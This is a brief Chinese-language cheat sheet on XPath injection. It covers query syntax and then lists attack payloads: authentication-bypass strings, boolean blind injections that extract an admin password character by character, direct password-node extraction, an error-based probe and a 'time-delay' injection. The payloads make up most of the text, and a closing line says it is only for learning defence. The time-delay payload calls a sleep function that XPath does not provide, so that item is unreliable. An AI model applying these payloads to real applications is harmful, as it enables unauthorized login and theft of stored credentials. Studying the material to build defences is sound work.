XPath注入是一种利用XPath查询语言漏洞的攻击技术,类似于SQL注入。以下是XPath注入的基础语法和常见技巧:
节点选择
/
- 从根节点开始//
- 选择文档中所有匹配的节点.
- 当前节点..
- 父节点谓词(过滤条件)
[条件]
- 用于过滤节点//user[username='admin']
布尔盲注
//user[username='admin' and substring(password,1,1)='a']
//user[username='admin' and string-length(password)=8]
条件注入
' or 1=1 or 'a'='a
' or true() or '
字符串连接
concat('adm','in')
注释绕过
' or 1=1 (: 注释 :)
函数利用
substring()
- 提取子字符串string-length()
- 获取字符串长度contains()
- 检查是否包含子字符串starts-with()
- 检查是否以某字符串开头简单注入
//user[username='' or '1'='1' and password='' or '1'='1']
提取信息
//user[username='admin']/password
基于错误的注入
' or count(/*)=1 or 'a'='a
时间延迟注入
//user[username='admin' and (if (substring(password,1,1)='a') then true() else sleep(5))]
请注意,这些信息仅供学习防御XPath注入攻击使用,切勿用于非法用途。